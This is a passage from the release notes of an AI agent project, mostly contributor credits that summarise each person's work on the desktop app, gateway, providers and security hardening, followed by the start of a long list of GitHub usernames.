<li>Note: the plugin <code>pre_tool_call</code> approve escalation was reverted mid-window but <strong>re-landed</strong> in <a href="https://github.com/NousResearch/hermes-agent/pull/60504" data-hovercard-type="pull_request" data-hovercard-url="/NousResearch/hermes-agent/pull/60504/hovercard">#60504</a> and ships in this release.</li>
</ul>
<h2>👥 Contributors</h2>
<p><strong>450+ people</strong> contributed to this release (via commits, co-author trailers, and salvaged PRs) — the biggest contributor window yet. Thank you, all of you.</p>
<h3>Core team</h3>
<ul>
<li><a class="user-mention notranslate" data-hovercard-type="user" data-hovercard-url="/users/teknium1/hovercard" data-octo-click="hovercard-link-click" data-octo-dimensions="link_type:self" href="https://github.com/teknium1">@teknium1</a> — release lead; TTFT perf wave, delivery + delegation durability, smart approvals, SecretSource, gateway multiplex + profile routing, sessions export, security round, and a ~290-PR community salvage burn</li>
<li><a class="user-mention notranslate" data-hovercard-type="user" data-hovercard-url="/users/OutThisLife/hovercard" data-octo-click="hovercard-link-click" data-octo-dimensions="link_type:self" href="https://github.com/OutThisLife">@OutThisLife</a> — desktop app (the speed wave, layout-tree shell, Capabilities page, session colors, vibe reactions, TUI incremental markdown, perf harness)</li>
<li><a class="user-mention notranslate" data-hovercard-type="user" data-hovercard-url="/users/kshitijk4poor/hovercard" data-octo-click="hovercard-link-click" data-octo-dimensions="link_type:self" href="https://github.com/kshitijk4poor">@kshitijk4poor</a> — GPT-5.6 end-to-end, DeepInfra + Upstage Solar providers, perf cluster, compression integrity, mem0, dashboard guards</li>
<li><a class="user-mention notranslate" data-hovercard-type="user" data-hovercard-url="/users/ethernet8023/hovercard" data-octo-click="hovercard-link-click" data-octo-dimensions="link_type:self" href="https://github.com/ethernet8023">@ethernet8023</a> — CI overhaul (JS/TS tests wired in, autofix-via-PR, python speedups), desktop keybinds/worktrees/status indicators, full desktop TypeScript conversion</li>
<li><a class="user-mention notranslate" data-hovercard-type="user" data-hovercard-url="/users/benbarclay/hovercard" data-octo-click="hovercard-link-click" data-octo-dimensions="link_type:self" href="https://github.com/benbarclay">@benbarclay</a> — relay OIDC provisioning, gateway multiplex override, Nous auth self-heal, hosted MCP OAuth groundwork</li>
<li><a class="user-mention notranslate" data-hovercard-type="user" data-hovercard-url="/users/alt-glitch/hovercard" data-octo-click="hovercard-link-click" data-octo-dimensions="link_type:self" href="https://github.com/alt-glitch">@alt-glitch</a> — terminal billing (<code>/subscription</code>, <code>/topup</code>), desktop billing tab</li>
<li><a class="user-mention notranslate" data-hovercard-type="user" data-hovercard-url="/users/helix4u/hovercard" data-octo-click="hovercard-link-click" data-octo-dimensions="link_type:self" href="https://github.com/helix4u">@helix4u</a> — desktop provider/model UX, TUI model picker refresh, Windows install/updater hardening</li>
<li><a class="user-mention notranslate" data-hovercard-type="user" data-hovercard-url="/users/austinpickett/hovercard" data-octo-click="hovercard-link-click" data-octo-dimensions="link_type:self" href="https://github.com/austinpickett">@austinpickett</a> — desktop custom endpoint settings</li>
<li><a class="user-mention notranslate" data-hovercard-type="user" data-hovercard-url="/users/SHL0MS/hovercard" data-octo-click="hovercard-link-click" data-octo-dimensions="link_type:self" href="https://github.com/SHL0MS">@SHL0MS</a> — unbroker + unreal-mcp skills, humanizer expansion</li>
</ul>
<h3>Top community contributors</h3>
<ul>
<li><a class="user-mention notranslate" data-hovercard-type="user" data-hovercard-url="/users/srojk34/hovercard" data-octo-click="hovercard-link-click" data-octo-dimensions="link_type:self" href="https://github.com/srojk34">@srojk34</a> — security hardening: Vertex credential/project/region scoping through the profile secret scope, subprocess env stripping, Raft chunked-request body limits</li>
<li><a class="user-mention notranslate" data-hovercard-type="user" data-hovercard-url="/users/HexLab98/hovercard" data-octo-click="hovercard-link-click" data-octo-dimensions="link_type:self" href="https://github.com/HexLab98">@HexLab98</a> — 11 fixes across MCP capability gating, Windows installer PATH, desktop cron editing, gateway systemd warnings</li>
<li><a class="user-mention notranslate" data-hovercard-type="user" data-hovercard-url="/users/UnathiCodex/hovercard" data-octo-click="hovercard-link-click" data-octo-dimensions="link_type:self" href="https://github.com/UnathiCodex">@UnathiCodex</a> — desktop stability: zoom across display moves, LaTeX rendering, resume-stall and runtime-readiness fixes</li>
<li><a class="user-mention notranslate" data-hovercard-type="user" data-hovercard-url="/users/xxxigm/hovercard" data-octo-click="hovercard-link-click" data-octo-dimensions="link_type:self" href="https://github.com/xxxigm">@xxxigm</a> — <code>&lt;think&gt;</code> leak fix after thinking-only retry flush, dashboard auth/theme/PTY fixes</li>
<li><a class="user-mention notranslate" data-hovercard-type="user" data-hovercard-url="/users/erosika/hovercard" data-octo-click="hovercard-link-click" data-octo-dimensions="link_type:self" href="https://github.com/erosika">@erosika</a> — desktop declarative memory-provider panel + honcho recall/timeout correctness</li>
<li><a class="user-mention notranslate" data-hovercard-type="user" data-hovercard-url="/users/Frowtek/hovercard" data-octo-click="hovercard-link-click" data-octo-dimensions="link_type:self" href="https://github.com/Frowtek">@Frowtek</a> — credential security: master stores never mounted into skill sandboxes, live-transcript redaction, dashboard api_key precedence</li>
<li><a class="user-mention notranslate" data-hovercard-type="user" data-hovercard-url="/users/necoweb3/hovercard" data-octo-click="hovercard-link-click" data-octo-dimensions="link_type:self" href="https://github.com/necoweb3">@necoweb3</a> — browser private-page CDP guard, cron one-shot liveness, gateway compression fail-closed</li>
<li><a class="user-mention notranslate" data-hovercard-type="user" data-hovercard-url="/users/DavidMetcalfe/hovercard" data-octo-click="hovercard-link-click" data-octo-dimensions="link_type:self" href="https://github.com/DavidMetcalfe">@DavidMetcalfe</a> — desktop updater version pill, Local/custom endpoint exposure, sidebar collapse behavior</li>
<li><a class="user-mention notranslate" data-hovercard-type="user" data-hovercard-url="/users/shannonsands/hovercard" data-octo-click="hovercard-link-click" data-octo-dimensions="link_type:self" href="https://github.com/shannonsands">@shannonsands</a> — dashboard: mobile channel setup, Discord toolsets from web UI, Telegram setup clarity</li>
<li><a class="user-mention notranslate" data-hovercard-type="user" data-hovercard-url="/users/vishal-dharm/hovercard" data-octo-click="hovercard-link-click" data-octo-dimensions="link_type:self" href="https://github.com/vishal-dharm">@vishal-dharm</a> — Gemini request-context improvements</li>
<li><a class="user-mention notranslate" data-hovercard-type="user" data-hovercard-url="/users/PRATHAMESH75/hovercard" data-octo-click="hovercard-link-click" data-octo-dimensions="link_type:self" href="https://github.com/PRATHAMESH75">@PRATHAMESH75</a> — cron one-shot stale-removal race, dashboard multiplex port-binding guard</li>
<li><a class="user-mention notranslate" data-hovercard-type="user" data-hovercard-url="/users/alelpoan/hovercard" data-octo-click="hovercard-link-click" data-octo-dimensions="link_type:self" href="https://github.com/alelpoan">@alelpoan</a>, <a class="user-mention notranslate" data-hovercard-type="user" data-hovercard-url="/users/embwl0x/hovercard" data-octo-click="hovercard-link-click" data-octo-dimensions="link_type:self" href="https://github.com/embwl0x">@embwl0x</a>, <a class="user-mention notranslate" data-hovercard-type="user" data-hovercard-url="/users/Adolanium/hovercard" data-octo-click="hovercard-link-click" data-octo-dimensions="link_type:self" href="https://github.com/Adolanium">@Adolanium</a>, <a class="user-mention notranslate" data-hovercard-type="user" data-hovercard-url="/users/giggling-ginger/hovercard" data-octo-click="hovercard-link-click" data-octo-dimensions="link_type:self" href="https://github.com/giggling-ginger">@giggling-ginger</a>, <a class="user-mention notranslate" data-hovercard-type="user" data-hovercard-url="/users/Drexuxux/hovercard" data-octo-click="hovercard-link-click" data-octo-dimensions="link_type:self" href="https://github.com/Drexuxux">@Drexuxux</a>, <a class="user-mention notranslate" data-hovercard-type="user" data-hovercard-url="/users/frizikk/hovercard" data-octo-click="hovercard-link-click" data-octo-dimensions="link_type:self" href="https://github.com/frizikk">@frizikk</a>, <a class="user-mention notranslate" data-hovercard-type="user" data-hovercard-url="/users/JoaoMarcos44/hovercard" data-octo-click="hovercard-link-click" data-octo-dimensions="link_type:self" href="https://github.com/JoaoMarcos44">@JoaoMarcos44</a>, @wesleysimplici, <a class="user-mention notranslate" data-hovercard-type="user" data-hovercard-url="/users/LeonSGP43/hovercard" data-octo-click="hovercard-link-click" data-octo-dimensions="link_type:self" href="https://github.com/LeonSGP43">@LeonSGP43</a>, <a class="user-mention notranslate" data-hovercard-type="user" data-hovercard-url="/users/pierrenode/hovercard" data-octo-click="hovercard-link-click" data-octo-dimensions="link_type:self" href="https://github.com/pierrenode">@pierrenode</a>, <a class="user-mention notranslate" data-hovercard-type="user" data-hovercard-url="/users/simpolism/hovercard" data-octo-click="hovercard-link-click" data-octo-dimensions="link_type:self" href="https://github.com/simpolism">@simpolism</a>, <a class="user-mention notranslate" data-hovercard-type="user" data-hovercard-url="/users/MorAlekss/hovercard" data-octo-click="hovercard-link-click" data-octo-dimensions="link_type:self" href="https://github.com/MorAlekss">@MorAlekss</a>, <a class="user-mention notranslate" data-hovercard-type="user" data-hovercard-url="/users/r266-tech/hovercard" data-octo-click="hovercard-link-click" data-octo-dimensions="link_type:self" href="https://github.com/r266-tech">@r266-tech</a>, <a class="user-mention notranslate" data-hovercard-type="user" data-hovercard-url="/users/WadydX/hovercard" data-octo-click="hovercard-link-click" data-octo-dimensions="link_type:self" href="https://github.com/WadydX">@WadydX</a>, <a class="user-mention notranslate" data-hovercard-type="user" data-hovercard-url="/users/nv-kasikritc/hovercard" data-octo-click="hovercard-link-click" data-octo-dimensions="link_type:self" href="https://github.com/nv-kasikritc">@nv-kasikritc</a> — targeted fixes across desktop, TUI, gateway, cron, webhook, nix, and browser surfaces</li>
<li>Salvaged-work authors whose PRs were cherry-picked with credit this window: <a class="user-mention notranslate" data-hovercard-type="user" data-hovercard-url="/users/Burgunthy/hovercard" data-octo-click="hovercard-link-click" data-octo-dimensions="link_type:self" href="https://github.com/Burgunthy">@Burgunthy</a> (profile routing), <a class="user-mention notranslate" data-hovercard-type="user" data-hovercard-url="/users/web3blind/hovercard" data-octo-click="hovercard-link-click" data-octo-dimensions="link_type:self" href="https://github.com/web3blind">@web3blind</a> (sessions export), <a class="user-mention notranslate" data-hovercard-type="user" data-hovercard-url="/users/hwrdprkns/hovercard" data-octo-click="hovercard-link-click" data-octo-dimensions="link_type:self" href="https://github.com/hwrdprkns">@hwrdprkns</a> (1Password), <a class="user-mention notranslate" data-hovercard-type="user" data-hovercard-url="/users/Christopher-Schulze/hovercard" data-octo-click="hovercard-link-click" data-octo-dimensions="link_type:self" href="https://github.com/Christopher-Schulze">@Christopher-Schulze</a>, <a class="user-mention notranslate" data-hovercard-type="user" data-hovercard-url="/users/Ahmett101/hovercard" data-octo-click="hovercard-link-click" data-octo-dimensions="link_type:self" href="https://github.com/Ahmett101">@Ahmett101</a>, <a class="user-mention notranslate" data-hovercard-type="user" data-hovercard-url="/users/sjiangtao2024/hovercard" data-octo-click="hovercard-link-click" data-octo-dimensions="link_type:self" href="https://github.com/sjiangtao2024">@sjiangtao2024</a>, and many more — see the salvage PR bodies for full attribution</li>
</ul>
<h3>All contributors</h3>
<p><a class="user-mention notranslate" data-hovercard-type="user" data-hovercard-url="/users/0-CYBERDYNE-SYSTEMS-0/hovercard" data-octo-click="hovercard-link-click" data-octo-dimensions="link_type:self" href="https://github.com/0-CYBERDYNE-SYSTEMS-0">@0-CYBERDYNE-SYSTEMS-0</a>, <a class="user-mention notranslate" data-hovercard-type="user" data-hovercard-url="/users/0disoft/hovercard" data-octo-click="hovercard-link-click" data-octo-dimensions="link_type:self" href="https://github.com/0disoft">@0disoft</a>, <a class="user-mention notranslate" data-hovercard-type="user" data-hovercard-url="/users/0xbyt4/hovercard" data-octo-click="hovercard-link-click" data-octo-dimensions="link_type:self" href="https://github.com/0xbyt4">@0xbyt4</a>, <a class="user-mention notranslate" data-hovercard-type="user" data-hovercard-url="/users/100yenadmin/hovercard" data-octo-click="hovercard-link-click" data-octo-dimensions="link_type:self" href="https://github.com/100yenadmin">@100yenadmin</a>, <a class="user-mention notranslate" data-hovercard-type="user" data-hovercard-url="/users/17324393074/hovercard" data-octo-click="hovercard-link-click" data-octo-dimensions="link_type:self" href="https://github.com/17324393074">@17324393074</a>, <a class="user-mention notranslate" data-hovercard-type="user" data-hovercard-url="/users/2751738943/hovercard" data-octo-click="hovercard-link-click" data-octo-dimensions="link_type:self" href="https://github.com/2751738943">@2751738943</a>, <a class="user-mention notranslate" data-hovercard-type="user" data-hovercard-url="/users/8294/hovercard" data-octo-click="hovercard-link-click" data-octo-dimensions="link_type:self" href="https://github.com/8294">@8294</a>, <a class="user-mention notranslate" data-hovercard-type="user" data-hovercard-url="/users/abhibansal-sg/hovercard" data-octo-click="hovercard-link-click" data-octo-dimensions="link_type:self" href="https://github.com/abhibansal-sg">@abhibansal-sg</a>,<br>
<a class="user-mention notranslate" data-hovercard-type="user" data-hovercard-url="/users/adambiggs/hovercard" data-octo-click="hovercard-link-click" data-octo-dimensions="link_type:self" href="https://github.com/adambiggs">@adambiggs</a>, <a class="user-mention notranslate" data-hovercard-type="user" data-hovercard-url="/users/Adolanium/hovercard" data-octo-click="hovercard-link-click" data-octo-dimensions="link_type:self" href="https://github.com/Adolanium">@Adolanium</a>, <a class="user-mention notranslate" data-hovercard-type="user" data-hovercard-url="/users/aeyeopsdev/hovercard" data-octo-click="hovercard-link-click" data-octo-dimensions="link_type:self" href="https://github.com/aeyeopsdev">@aeyeopsdev</a>, <a class="user-mention notranslate" data-hovercard-type="user" data-hovercard-url="/users/aguung/hovercard" data-octo-click="hovercard-link-click" data-octo-dimensions="link_type:self" href="https://github.com/aguung">@aguung</a>, <a class="user-mention notranslate" data-hovercard-type="user" data-hovercard-url="/users/AhmetArif0/hovercard" data-octo-click="hovercard-link-click" data-octo-dimensions="link_type:self" href="https://github.com/AhmetArif0">@AhmetArif0</a>, <a class="user-mention notranslate" data-hovercard-type="user" data-hovercard-url="/users/Ahmett101/hovercard" data-octo-click="hovercard-link-click" data-octo-dimensions="link_type:self" href="https://github.com/Ahmett101">@Ahmett101</a>, <a class="user-mention notranslate" data-hovercard-type="user" data-hovercard-url="/users/ai-ag2026/hovercard" data-octo-click="hovercard-link-click" data-octo-dimensions="link_type:self" href="https://github.com/ai-ag2026">@ai-ag2026</a>, <a class="user-mention notranslate" data-hovercard-type="user" data-hovercard-url="/users/AIalliAI/hovercard" data-octo-click="hovercard-link-click" data-octo-dimensions="link_type:self" href="https://github.com/AIalliAI">@AIalliAI</a>, <a class="user-mention notranslate" data-hovercard-type="user" data-hovercard-url="/users/ajzrva-sys/hovercard" data-octo-click="hovercard-link-click" data-octo-dimensions="link_type:self" href="https://github.com/ajzrva-sys">@ajzrva-sys</a>,<br>
<a class="user-mention notranslate" data-hovercard-type="user" data-hovercard-url="/users/alastraz/hovercard" data-octo-click="hovercard-link-click" data-octo-dimensions="link_type:self" href="https://github.com/alastraz">@alastraz</a>, <a class="user-mention notranslate" data-hovercard-type="user" data-hovercard-url="/users/alelpoan/hovercard" data-octo-click="hovercard-link-click" data-octo-dimensions="link_type:self" href="https://github.com/alelpoan">@alelpoan</a>, <a class="user-mention notranslate" data-hovercard-type="user" data-hovercard-url="/users/alex-fireworks/hovercard" data-octo-click="hovercard-link-click" data-octo-dimensions="link_type:self" href="https://github.com/alex-fireworks">@alex-fireworks</a>, <a class="user-mention notranslate" data-hovercard-type="user" data-hovercard-url="/users/alex-heritier/hovercard" data-octo-click="hovercard-link-click" data-octo-dimensions="link_type:self" href="https://github.com/alex-heritier">@alex-heritier</a>, <a class="user-mention notranslate" data-hovercard-type="user" data-hovercard-url="/users/alex107ivanov/hovercard" data-octo-click="hovercard-link-click" data-octo-dimensions="link_type:self" href="https://github.com/alex107ivanov">@alex107ivanov</a>, <a class="user-mention notranslate" data-hovercard-type="user" data-hovercard-url="/users/AlexFucuson9/hovercard" data-octo-click="hovercard-link-click" data-octo-dimensions="link_type:self" href="https://github.com/AlexFucuson9">@AlexFucuson9</a>, <a class="user-mention notranslate" data-hovercard-type="user" data-hovercard-url="/users/Alix-007/hovercard" data-octo-click="hovercard-link-click" data-octo-dimensions="link_type:self" href="https://github.com/Alix-007">@Alix-007</a>,<br>
<a class="user-mention notranslate" data-hovercard-type="user" data-hovercard-url="/users/allenliang2022/hovercard" data-octo-click="hovercard-link-click" data-octo-dimensions="link_type:self" href="https://github.com/allenliang2022">@allenliang2022</a>, <a class="user-mention notranslate" data-hovercard-type="user" data-hovercard-url="/users/Almurat123/hovercard" data-octo-click="hovercard-link-click" data-octo-dimensions="link_type:self" href="https://github.com/Almurat123">@Almurat123</a>, <a class="user-mention notranslate" data-hovercard-type="user" data-hovercard-url="/users/AlsayedHoota/hovercard" data-octo-click="hovercard-link-click" data-octo-dimensions="link_type:self" href="https://github.com/AlsayedHoota">@AlsayedHoota</a>, <a class="user-mention notranslate" data-hovercard-type="user" data-hovercard-url="/users/alt-glitch/hovercard" data-octo-click="hovercard-link-click" data-octo-dimensions="link_type:self" href="https://github.com/alt-glitch">@alt-glitch</a>, <a class="user-mention notranslate" data-hovercard-type="user" data-hovercard-url="/users/alvarosanchez/hovercard" data-octo-click="hovercard-link-click" data-octo-dimensions="link_type:self" href="https://github.com/alvarosanchez">@alvarosanchez</a>, <a class="user-mention notranslate" data-hovercard-type="user" data-hovercard-url="/users/amanning3390/hovercard" data-octo-click="hovercard-link-click" data-octo-dimensions="link_type:self" href="https://github.com/amanning3390">@amanning3390</a>, <a class="user-mention notranslate" data-hovercard-type="user" data-hovercard-url="/users/AmAzing129/hovercard" data-octo-click="hovercard-link-click" data-octo-dimensions="link_type:self" href="https://github.com/AmAzing129">@AmAzing129</a>,<br>
<a class="user-mention notranslate" data-hovercard-type="user" data-hovercard-url="/users/AndreasHiltner/hovercard" data-octo-click="hovercard-link-click" data-octo-dimensions="link_type:self" href="https://github.com/AndreasHiltner">@AndreasHiltner</a>, <a class="user-mention notranslate" data-hovercard-type="user" data-hovercard-url="/users/andrewhomeyer/hovercard" data-octo-click="hovercard-link-click" data-octo-dimensions="link_type:self" href="https://github.com/andrewhomeyer">@andrewhomeyer</a>, <a class="user-mention notranslate" data-hovercard-type="user" data-hovercard-url="/users/annguyenNous/hovercard" data-octo-click="hovercard-link-click" data-octo-dimensions="link_type:self" href="https://github.com/annguyenNous">@annguyenNous</a>, <a class="user-mention notranslate" data-hovercard-type="user" data-hovercard-url="/users/ansel-f/hovercard" data-octo-click="hovercard-link-click" data-octo-dimensions="link_type:self" href="https://github.com/ansel-f">@ansel-f</a>, <a class="user-mention notranslate" data-hovercard-type="user" data-hovercard-url="/users/antydizajn/hovercard" data-octo-click="hovercard-link-click" data-octo-dimensions="link_type:self" href="https://github.com/antydizajn">@antydizajn</a>, <a class="user-mention notranslate" data-hovercard-type="user" data-hovercard-url="/users/arminanton/hovercard" data-octo-click="hovercard-link-click" data-octo-dimensions="link_type:self" href="https://github.com/arminanton">@arminanton</a>, <a class="user-mention notranslate" data-hovercard-type="user" data-hovercard-url="/users/arnispiekus/hovercard" data-octo-click="hovercard-link-click" data-octo-dimensions="link_type:self" href="https://github.com/arnispiekus">@arnispiekus</a>, <a class="user-mention notranslate" data-hovercard-type="user" data-hovercard-url="/users/asimons81/hovercard" data-octo-click="hovercard-link-click" data-octo-dimensions="link_type:self" href="https://github.com/asimons81">@asimons81</a>,<br>
<a class="user-mention notranslate" data-hovercard-type="user" data-hovercard-url="/users/asscan/hovercard" data-octo-click="hovercard-link-click" data-octo-dimensions="link_type:self" href="https://github.com/asscan">@asscan</a>, <a class="user-mention notranslate" data-hovercard-type="user" data-hovercard-url="/users/ats3v/hovercard" data-octo-click="hovercard-link-click" data-octo-dimensions="link_type:self" href="https://github.com/ats3v">@ats3v</a>, <a class="user-mention notranslate" data-hovercard-type="user" data-hovercard-url="/users/austinlaw076/hovercard" data-octo-click="hovercard-link-click" data-octo-dimensions="link_type:self" href="https://github.com/austinlaw076">@austinlaw076</a>, <a class="user-mention notranslate" data-hovercard-type="user" data-hovercard-url="/users/austinpickett/hovercard" data-octo-click="hovercard-link-click" data-octo-dimensions="link_type:self" href="https://github.com/austinpickett">@austinpickett</a>, <a class="user-mention notranslate" data-hovercard-type="user" data-hovercard-url="/users/avifenesh/hovercard" data-octo-click="hovercard-link-click" data-octo-dimensions="link_type:self" href="https://github.com/avifenesh">@avifenesh</a>, <a class="user-mention notranslate" data-hovercard-type="user" data-hovercard-url="/users/aydnOktay/hovercard" data-octo-click="hovercard-link-click" data-octo-dimensions="link_type:self" href="https://github.com/aydnOktay">@aydnOktay</a>, <a class="user-mention notranslate" data-hovercard-type="user" data-hovercard-url="/users/Bartok9/hovercard" data-octo-click="hovercard-link-click" data-octo-dimensions="link_type:self" href="https://github.com/Bartok9">@Bartok9</a>, <a class="user-mention notranslate" data-hovercard-type="user" data-hovercard-url="/users/bautrey/hovercard" data-octo-click="hovercard-link-click" data-octo-dimensions="link_type:self" href="https://github.com/bautrey">@bautrey</a>, <a class="user-mention notranslate" data-hovercard-type="user" data-hovercard-url="/users/bbednarski9/hovercard" data-octo-click="hovercard-link-click" data-octo-dimensions="link_type:self" href="https://github.com/bbednarski9">@bbednarski9</a>,<br>
<a class="user-mention notranslate" data-hovercard-type="user" data-hovercard-url="/users/bbopen/hovercard" data-octo-click="hovercard-link-click" data-octo-dimensions="link_type:self" href="https://github.com/bbopen">@bbopen</a>, <a class="user-mention notranslate" data-hovercard-type="user" data-hovercard-url="/users/benbarclay/hovercard" data-octo-click="hovercard-link-click" data-octo-dimensions="link_type:self" href="https://github.com/benbarclay">@benbarclay</a>, <a class="user-mention notranslate" data-hovercard-type="user" data-hovercard-url="/users/bigstar0920/hovercard" data-octo-click="hovercard-link-click" data-octo-dimensions="link_type:self" href="https://github.com/bigstar0920">@bigstar0920</a>, <a class="user-mention notranslate" data-hovercard-type="user" data-hovercard-url="/users/binhnt92/hovercard" data-octo-click="hovercard-link-click" data-octo-dimensions="link_type:self" href="https://github.com/binhnt92">@binhnt92</a>, <a class="user-mention notranslate" data-hovercard-type="user" data-hovercard-url="/users/bird/hovercard" data-octo-click="hovercard-link-click" data-octo-dimensions="link_type:self" href="https://github.com/bird">@bird</a>, <a class="user-mention notranslate" data-hovercard-type="user" data-hovercard-url="/users/Black0Fox0/hovercard" data-octo-click="hovercard-link-click" data-octo-dimensions="link_type:self" href="https://github.com/Black0Fox0">@Black0Fox0</a>, <a class="user-mention notranslate" data-hovercard-type="user" data-hovercard-url="/users/BlackishGreen33/hovercard" data-octo-click="hovercard-link-click" data-octo-dimensions="link_type:self" href="https://github.com/BlackishGreen33">@BlackishGreen33</a>, @bo.fu, <a class="user-mention notranslate" data-hovercard-type="user" data-hovercard-url="/users/brendandebeasi/hovercard" data-octo-click="hovercard-link-click" data-octo-dimensions="link_type:self" href="https://github.com/brendandebeasi">@brendandebeasi</a>,<br>
<a class="user-mention notranslate" data-hovercard-type="user" data-hovercard-url="/users/briandevans/hovercard" data-octo-click="hovercard-link-click" data-octo-dimensions="link_type:self" href="https://github.com/briandevans">@briandevans</a>, <a class="user-mention notranslate" data-hovercard-type="user" data-hovercard-url="/users/BROCCOLO1D/hovercard" data-octo-click="hovercard-link-click" data-octo-dimensions="link_type:self" href="https://github.com/BROCCOLO1D">@BROCCOLO1D</a>, <a class="user-mention notranslate" data-hovercard-type="user" data-hovercard-url="/users/Bruce-anle/hovercard" data-octo-click="hovercard-link-click" data-octo-dimensions="link_type:self" href="https://github.com/Bruce-anle">@Bruce-anle</a>, <a class="user-mention notranslate" data-hovercard-type="user" data-hovercard-url="/users/brunz-me/hovercard" data-octo-click="hovercard-link-click" data-octo-dimensions="link_type:self" href="https://github.com/brunz-me">@brunz-me</a>, <a class="user-mention notranslate" data-hovercard-type="user" data-hovercard-url="/users/Burgunthy/hovercard" data-octo-click="hovercard-link-click" data-octo-dimensions="link_type:self" href="https://github.com/Burgunthy">@Burgunthy</a>, <a class="user-mention notranslate" data-hovercard-type="user" data-hovercard-url="/users/bytesnail/hovercard" data-octo-click="hovercard-link-click" data-octo-dimensions="link_type:self" href="https://github.com/bytesnail">@bytesnail</a>, <a class="user-mention notranslate" data-hovercard-type="user" data-hovercard-url="/users/catbearlove1-lang/hovercard" data-octo-click="hovercard-link-click" data-octo-dimensions="link_type:self" href="https://github.com/catbearlove1-lang">@catbearlove1-lang</a>, <a class="user-mention notranslate" data-hovercard-type="user" data-hovercard-url="/users/Cdddo/hovercard" data-octo-click="hovercard-link-click" data-octo-dimensions="link_type:self" href="https://github.com/Cdddo">@Cdddo</a>,<br>
<a class="user-mention notranslate" data-hovercard-type="user" data-hovercard-url="/users/cgarwood82/hovercard" data-octo-click="hovercard-link-click" data-octo-dimensions="link_type:self" href="https://github.com/cgarwood82">@cgarwood82</a>, <a class="user-mention notranslate" data-hovercard-type="user" data-hovercard-url="/users/CharmingGroot/hovercard" data-octo-click="hovercard-link-click" data-octo-dimensions="link_type:self" href="https://github.com/CharmingGroot">@CharmingGroot</a>, <a class="user-mention notranslate" data-hovercard-type="user" data-hovercard-url="/users/chouqin/hovercard" data-octo-click="hovercard-link-click" data-octo-dimensions="link_type:self" href="https://github.com/chouqin">@chouqin</a>, <a class="user-mention notranslate" data-hovercard-type="user" data-hovercard-url="/users/Christopher-Schulze/hovercard" data-octo-click="hovercard-link-click" data-octo-dimensions="link_type:self" href="https://github.com/Christopher-Schulze">@Christopher-Schulze</a>, <a class="user-mention notranslate" data-hovercard-type="user" data-hovercard-url="/users/claudlos/hovercard" data-octo-click="hovercard-link-click" data-octo-dimensions="link_type:self" href="https://github.com/claudlos">@claudlos</a>, <a class="user-mention notranslate" data-hovercard-type="user" data-hovercard-url="/users/CocaKova/hovercard" data-octo-click="hovercard-link-click" data-octo-dimensions="link_type:self" href="https://github.com/CocaKova">@CocaKova</a>, <a class="user-mention notranslate" data-hovercard-type="user" data-hovercard-url="/users/Code-suphub/hovercard" data-octo-click="hovercard-link-click" data-octo-dimensions="link_type:self" href="https://github.com/Code-suphub">@Code-suphub</a>, <a class="user-mention notranslate" data-hovercard-type="user" data-hovercard-url="/users/CodeForgeNet/hovercard" data-octo-click="hovercard-link-click" data-octo-dimensions="link_type:self" href="https://github.com/CodeForgeNet">@CodeForgeNet</a>,<br>
<a class="user-mention notranslate" data-hovercard-type="user" data-hovercard-url="/users/craigdfrench/hovercard" data-octo-click="hovercard-link-click" data-octo-dimensions="link_type:self" href="https://github.com/craigdfrench">@craigdfrench</a>, <a class="user-mention notranslate" data-hovercard-type="user" data-hovercard-url="/users/CrazyBoyM/hovercard" data-octo-click="hovercard-link-click" data-octo-dimensions="link_type:self" href="https://github.com/CrazyBoyM">@CrazyBoyM</a>, <a class="user-mention notranslate" data-hovercard-type="user" data-hovercard-url="/users/crazywriter1/hovercard" data-octo-click="hovercard-link-click" data-octo-dimensions="link_type:self" href="https://github.com/crazywriter1">@crazywriter1</a>, <a class="user-mention notranslate" data-hovercard-type="user" data-hovercard-url="/users/cresslank/hovercard" data-octo-click="hovercard-link-click" data-octo-dimensions="link_type:self" href="https://github.com/cresslank">@cresslank</a>, <a class="user-mention notranslate" data-hovercard-type="user" data-hovercard-url="/users/cruzanstx/hovercard" data-octo-click="hovercard-link-click" data-octo-dimensions="link_type:self" href="https://github.com/cruzanstx">@cruzanstx</a>, <a class="user-mention notranslate" data-hovercard-type="user" data-hovercard-url="/users/cyrkstudios/hovercard" data-octo-click="hovercard-link-click" data-octo-dimensions="link_type:self" href="https://github.com/cyrkstudios">@cyrkstudios</a>, <a class="user-mention notranslate" data-hovercard-type="user" data-hovercard-url="/users/danilofalcao/hovercard" data-octo-click="hovercard-link-click" data-octo-dimensions="link_type:self" href="https://github.com/danilofalcao">@danilofalcao</a>,<br>
<a class="user-mention notranslate" data-hovercard-type="user" data-hovercard-url="/users/datachainsystems/hovercard" data-octo-click="hovercard-link-click" data-octo-dimensions="link_type:self" href="https://github.com/datachainsystems">@datachainsystems</a>, <a class="user-mention notranslate" data-hovercard-type="user" data-hovercard-url="/users/DatTheMaster/hovercard" data-octo-click="hovercard-link-click" data-octo-dimensions="link_type:self" href="https://github.com/DatTheMaster">@DatTheMaster</a>, <a class="user-mention notranslate" data-hovercard-type="user" data-hovercard-url="/users/davidb73-hub/hovercard" data-octo-click="hovercard-link-click" data-octo-dimensions="link_type:self" href="https://github.com/davidb73-hub">@davidb73-hub</a>, <a class="user-mention notranslate" data-hovercard-type="user" data-hovercard-url="/users/davidgut1982/hovercard" data-octo-click="hovercard-link-click" data-octo-dimensions="link_type:self" href="https://github.com/davidgut1982">@davidgut1982</a>, <a class="user-mention notranslate" data-hovercard-type="user" data-hovercard-url="/users/DavidMetcalfe/hovercard" data-octo-click="hovercard-link-click" data-octo-dimensions="link_type:self" href="https://github.com/DavidMetcalfe">@DavidMetcalfe</a>, <a class="user-mention notranslate" data-hovercard-type="user" data-hovercard-url="/users/davidrobertson/hovercard" data-octo-click="hovercard-link-click" data-octo-dimensions="link_type:self" href="https://github.com/davidrobertson">@davidrobertson</a>,<br>
